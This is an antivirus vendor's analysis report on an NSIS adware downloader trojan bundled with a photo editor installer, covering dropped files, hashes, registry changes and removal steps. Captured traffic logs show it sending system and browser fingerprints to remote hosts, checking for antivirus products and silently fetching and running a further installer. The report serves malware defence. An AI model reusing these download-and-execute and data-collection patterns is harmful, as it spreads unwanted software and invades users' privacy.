Trojan.NSIS.StartPage_bd2dd4692a – Adaware

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):

wmic.exe:244

The Trojan injects its code into the following process(es):

%original file name%.exe:580

Mutexes

The following mutexes were created/opened:

ZonesLockedCacheCounterMutexZonesCounterMutexZonesCacheCounterMutexRasPbFileWininetProxyRegistryMutexWininetConnectionMutexWininetStartupMutexc:!documents and settings!adm!local settings!history!history.ie5!c:!documents and settings!adm!cookies!c:!documents and settings!adm!local settings!temporary internet files!content.ie5!_!MSFTHISTORY!_ShimCacheMutex

File activity

The process wmic.exe:244 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

The process %original file name%.exe:580 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (125481 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw4.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\xml.dll (3745 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (12867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Math.dll (2487 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsv1.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp (0 bytes)

Registry activity

The process wmic.exe:244 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2B 76 9F A1 4F 9F 57 B0 BB AF 2F 16 BC D6 A5 66"

The process %original file name%.exe:580 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1D 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C2 8D 02 2D 9A 6D A2 BA 20 DC E8 22 9C 67 1B 5A"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5	File path
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\bitool.dll
aea3ac67fa68fd3f00edfbf9b43a2770	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\Banner.dll
502c878b0897ff8ade2a3c221609f19a	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\Math.dll
960a5c48e25cf2bca332e74e11d825c9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\System.dll
e541458cfe66ef95ffbea40eaaa07289	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\inetc.dll
0745ff646f5af1f1cdd784c06f40fce9	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\md5dll.dll
8ced0b79f7b9033d0795aab3be6d627c	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\nsDialogs.dll
42df1fbaa87567adf2b4050805a1a545	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsl2.tmp\xml.dll
aade106f4a362f12ad261322dc12c1f8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\nsw4.tmp
aade106f4a362f12ad261322dc12c1f8	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe
c0157ad57d34d1d608adea523b228266	c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

Click (here) to download and install Ad-Aware Free Antivirus.
Update the definition files.
Run a full scan of your computer.

Manual removal*

Terminate malicious process(es) (How to End a Process With the Task Manager):
wmic.exe:244
Delete the original Trojan file.
Delete or disinfect the following files created/modified by the Trojan:
%Documents and Settings%\%current user%\Local Settings\Temp\nsp3.tmp (125481 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsw4.tmp (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\setup[1].exe (28320 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Banner.dll (4 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\xml.dll (3745 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\System.dll (11 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\modern-wizard.bmp (26 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\inetc.dll (20 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsis142.xml (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\md5dll.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\4DQJW9YN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\BiTool[1].dll (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\binsischeck654.xml (12867 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\WLMVCPYN\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\bitool.xxx (4152 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsl2.tmp\Math.dll (2487 bytes)
Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

Static Analysis

VersionInfo

No information is available.

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	24034	24064	4.51131	fd3ab368f49da01980e9d668a7a89149
.rdata	28672	4826	5120	3.5354	bed60c9116dbff6d06b51530a732c0c9
.data	36864	152728	1024	3.4949	8a4f4a368d44406a0e69356a5c4843c6
.ndata	192512	143360	0	0	d41d8cd98f00b204e9800998ecf8427e
.rsrc	335872	58520	58880	5.32873	a65bdce07219dac9e9a57d048ed6a5fe

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://d27foqb3kkzkt9.cloudfront.net/sdk/binsis/2.2/BiTool.dll	54.192.95.236
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/get_pre_offering_checks?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0	54.192.95.217
hxxp://d3oxtn1x3b8d7i.cloudfront.net/binsis/xml?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0	54.192.95.217
hxxp://d1r531x3ryfc51.cloudfront.net/installers/bi_downloader/1456416195808/setup.exe
hxxp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe	54.192.95.187

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /installers/bi_downloader/1456416195808/setup.exe HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: sub.spirlymo.com

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 430904

Connection: keep-alive

Server: nginx

Date: Thu, 25 Feb 2016 16:04:06 GMT

Last-Modified: Thu, 25 Feb 2016 16:03:17 GMT

ETag: "56cf25c5-69338"

Expires: Thu, 25 Feb 2016 16:14:06 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 199

X-Cache: Hit from cloudfront

Via: 1.1 73a3bce79e63d88b3a25c9ced0be16f5.cloudfront.net (CloudFront)

X-Amz-Cf-Id: eXv8jaQIwAFAWOLi6C-rUSNjgoyGAuVqr36fhNY1QMwSmGIbHSUjTA==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................0...............................................s..........pD..........X................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc...pD.......F...v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /sdk/binsis/2.2/BiTool.dll HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d27foqb3kkzkt9.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 59904

Connection: keep-alive

Server: nginx

Date: Wed, 27 Jan 2016 07:25:36 GMT

Last-Modified: Tue, 15 Oct 2013 19:55:30 GMT

ETag: "525d9db2-ea00"

Expires: Wed, 27 Jan 2016 07:35:36 GMT

Cache-Control: max-age=600

Accept-Ranges: bytes

Age: 191

X-Cache: Hit from cloudfront

Via: 1.1 49d660b73464b392cd621b72767bd66a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: N143gE80vnYl4cXDA_MLHLbX2xIiQXTXWXmFEXd021jQy2WU4bR7dw==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......I}.I..h...h...h..S....h..d....h..d....h..d....h..d....h...i.W.h..d....h..d....h..d....h.Rich..h.................PE..L.....]R...........!.........,......e........................................ ......9.....@.....................................................................0...................................`...@...............H............................text..._........................... ..`.rdata..5...........................@..@.data...x...........................@....rsrc...............................@..@.reloc..............................@..B................................................................................................................................................................................................................................................................................................................................................U..Q.M..E..M....E...]...........U..Q.M..E.....].U..Q.M...]......U..Q.M..E........E...]..........U..Q.M..E..M.......]............U......M..E..8.t..M.........E....E......E...]...U..Q.M..E..M...3.;......].......U..Q.M..E.3..8........].........U..Q.M..E.P.M........M........E...].............U..Q.M..E........M.........]....U..Q.M..M.......E....t..M.Q.Z.......E...].......U...E.].........U..j.h....d.....PQ.....3.P.E.d......M..M........E......E........M.Q.M...........E......E..M.d......Y..].........U..Q.M..E.......

<<< skipped >>>

GET /binsis/get_pre_offering_checks?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache

HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Thu, 25 Feb 2016 16:38:46 GMT

Expires: Thu, 25 Feb 2016 13:52:06 GMT

Cache-Control: no-cache

Vary: Accept-Encoding

X-Cache: Miss from cloudfront

Via: 1.1 8ff9b0151b7c5246d93b7f7c2c33d122.cloudfront.net (CloudFront)

X-Amz-Cf-Id: n7feqN1qDz7W9gseg-6FvVgGKFI4MOJljpszkJ_ix4fBetI0EMOWww==

31f8..<?xml version="1.0"?>.<pre_offering_checks><check type="registry" return_name="check_4" return_value_type="boolean"><value_to_check><key>HKCU\Software\Somoto\SDP</key><name>uid</name></value_to_check></check><check type="registry" return_name="check_2182" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\Goobzo\YouTube Accelerator</key><name>version</name></value_to_check></check><check type="registry" return_name="check_2246" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\YTDownloader</key><name>version</name></value_to_check></check><check type="registry" return_name="check_2450" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\HotspotShield</key><name>DisplayName</name></value_to_check></check><check type="registry" return_name="check_3850" return_value_type="boolean"><value_to_check><key>HKLM\SOFTWARE\YTDownloader</key><name>version</name></value_to_check></check><check type="registry" return_name="check_3360" return_value_type="boolean"><value_to_check><key>HKCU\Software\Microsoft\Windows\CurrentVersion\Uninstall\genieo</key><name>UninstallString</name></value_to_check></check><check type="registry" return_name="check_

<<< skipped >>>

POST /binsis/xml?uid=39493EE0240D42C58CAAE7D9BD853D3D&v=2.2.2&v1=U2VyaWFsTnVtYmVyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBWZXJzaW9uICAgICAgICAgICANDQpWTXdhcmUtNTYgNGQgNzAgMTMgYjYgYzEgMWMgYmQtYjAgMjkgOWEgMWYgNzggZmQgNTUgYTMgIElOVEVMICAtIDYwNDAwMDA&affid=scarpphotoeditor&sid=scrapphotoeditor&s=0 HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Filename: nsp3.tmp

User-Agent: NSIS_Inetc (Mozilla)

Host: d3oxtn1x3b8d7i.cloudfront.net

Content-Length: 10378

Connection: Keep-Alive

Cache-Control: no-cache

installer_data={"uid":"39493EE0240D42C58CAAE7D9BD853D3D","muid":"9e10bdd7664ab688d1d7f2ab0b148110","affid":"scarpphotoeditor","sid":"scrapphotoeditor","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512","ff_installed":"0","ff_version":"","ff_default_homepage":"not_found","ff_is_default":"0","ie_installed":"1","ie_version":"6.0.2900.5512","ie_default_homepage":"about:blank","ie_is_default":"1","chrome_installed":"0","chrome_version":"","chrome_default_homepage":"not_found","chrome_is_default":"0","opera_installed":"0","opera_version":"","opera_default_homepage":"not_found","opera_is_default":"0","safari_installed":"0","safari_version":"","safari_default_homepage":"not_found","safari_is_default":"0","check_4":"false","check_2182":"false","check_2246":"false","check_2450":"false","check_3850":"false","check_3360":"false","check_2832":"false","check_3892":"false","check_4742":"false","check_5086":"false","check_5096":"false","check_5166":"false","check_1592

HTTP/1.1 200 OK

Content-Type: text/xml; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

Server: nginx

Date: Thu, 25 Feb 2016 16:38:53 GMT

Vary: Accept-Encoding

Expires: Thu, 25 Feb 2016 13:52:13 GMT

Cache-Control: no-cache

X-Cache: Miss from cloudfront

Via: 1.1 8ff9b0151b7c5246d93b7f7c2c33d122.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oDutlF8YVwskXMP5PWOCw7ZmYiSKnfflrkIb0LTgnUa2cujMycGIyQ==

184..<?xml version="1.0" encoding="windows-1252"?>.<sponsored_data><downloader><url>hXXp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe</url><downloadOnInit>1</downloadOnInit><args>/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="Â¯filiateID%" -muid="%MUID%"</args></downloader><offers/></sponsored_data>...0..HTTP/1.1 200 OK..Content-Type: text/xml; charset=utf-8..Transfer-Encoding: chunked..Connection: keep-alive..Server: nginx..Date: Thu, 25 Feb 2016 16:38:53 GMT..Vary: Accept-Encoding..Expires: Thu, 25 Feb 2016 13:52:13 GMT..Cache-Control: no-cache..X-Cache: Miss from cloudfront..Via: 1.1 8ff9b0151b7c5246d93b7f7c2c33d122.cloudfront.net (CloudFront)..X-Amz-Cf-Id: oDutlF8YVwskXMP5PWOCw7ZmYiSKnfflrkIb0LTgnUa2cujMycGIyQ==..184..<?xml version="1.0" encoding="windows-1252"?>.<sponsored_data><downloader><url>hXXp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe</url><downloadOnInit>1</downloadOnInit><args>/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="Â¯filiateID%" -muid="%MUID%"</args></downloader><offers/></sponsored_data>...0..

<<< skipped >>>

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_580:

.text

`.rdata

@.data

.ndata

.rsrc

uDSSh

.DEFAULT\Control Panel\International

Software\Microsoft\Windows\CurrentVersion

GetWindowsDirectoryA

KERNEL32.dll

ExitWindowsEx

USER32.dll

GDI32.dll

SHFileOperationA

ShellExecuteA

SHELL32.dll

RegEnumKeyA

RegCreateKeyExA

RegCloseKey

RegDeleteKeyA

RegOpenKeyExA

ADVAPI32.dll

COMCTL32.dll

ole32.dll

VERSION.dll

verifying installer: %d%%

hXXp://nsis.sf.net/NSIS_Error

... %d%%

~nsu.tmp

%u.%u%s%s

RegDeleteKeyExA

%s=%s

*?|/":

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp\nsDialogs.dll

all\eScan Anti-Virus (AV) Edition for Windows_is1

"installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp\nsDialogs.dll

rosoft/Windows/CurrentVersion/Uninstall/Kaspersky"

or","sid":"scrapphotoeditor","installerVersion":"2.2.2","osVersion":"5.1.2600 32bit","ieVersion":"6.0.2900.5512"

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsl2.tmp

on Data\Opera\Opera\operaprefs.ini

@.reloc

GetProcessHeap

comdlg32.dll

nsDialogs.dll

All Files|*.*

xml.dll

.?AVexecution_error@TinyXPath@@

Assertion failed: %s, file %s, line %d

zcÃ

0&171?1}1

6 6064686@6

/%s%s

/%s[%d]%s

c:\a\vc\nsis\xmldll\source\tinystr.h

X;

tinyxml.cpp

%s>

%s='%s'

%s="%s"

standalone="%s"

encoding="%s"

version="%s"

sentinel.prev == &sentinel

sentinel.next == &sentinel

cursor.col >= -1

cursor.row >= -1

tinyxmlparser.cpp

strlen( entity[i].str ) == entity[i].strLength

c:\a\vc\nsis\xmldll\source\tinyxml.h

action_store.cpp

c:\a\vc\nsis\xmldll\source\node_set.h

c:\a\vc\nsis\xmldll\source\tokenlist.h

xml_util.cpp

xpath_processor.cpp

axis is a keyword

mscoree.dll

GetProcessWindowStation

user32.dll

- This application cannot run using the active version of the Microsoft .NET Runtime

Please contact the application's support team for more information.

internal state. The program cannot safely continue execution and must

continue execution and must now be terminated.

GetCPInfo

pP)N.jp

\I@Ã€H

@%Ub_

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsp3.tmp

nsp3.tmp

turl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="Â¯filiateID%" -muid="%MUID%"

rentVersion\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1

EEE69B8-2C42-4825-B8E6-9597957D672B}

efs.js

elerated AMD PCNet Adapter - Packet Scheduler Miniport

on\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1

Microsoft/Windows/CurrentVersion/Uninstall/Kaspersky"

Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1

Version\Uninstall\eScan Anti-Virus (AV) Edition for Windows_is1

3791984

c:\%original file name%.exe

%Program Files%\Kea Sigma Delta\SCRAP Photo Editor

%original file name%.exe

CUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsv1.tmp

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\

973734970

1310970

1048906

1114390

C:\DOCUME~1\"%CurrentUserName%"\LOCALS~1\Temp\nsw4.tmp

/silent /initurl hXXp://sub.yorkshatb.com/downloader/:affid:/:sid:/:uid:? -uid="%UID%" -sid="%SoftwareID%" -affid="Â¯filiateID%" -muid="%MUID%"

hXXp://sub.spirlymo.com/installers/bi_downloader/1456416195808/setup.exe

1114358

1704228

-1408957188

-536214212

-2063532032

-2147284440

G05X/d'.uE

.Fbb[|HS

#jZj.uw

[[2 [146[

Nullsoft Install System v3.0a2

!"#$%&'()* ,-./012345

%original file name%.exe_580_rwx_10004000_00001000:

callback%d

Summary

Dynamic Analysis

Removals

Static Analysis

Network Activity

Map

Strings from Dumps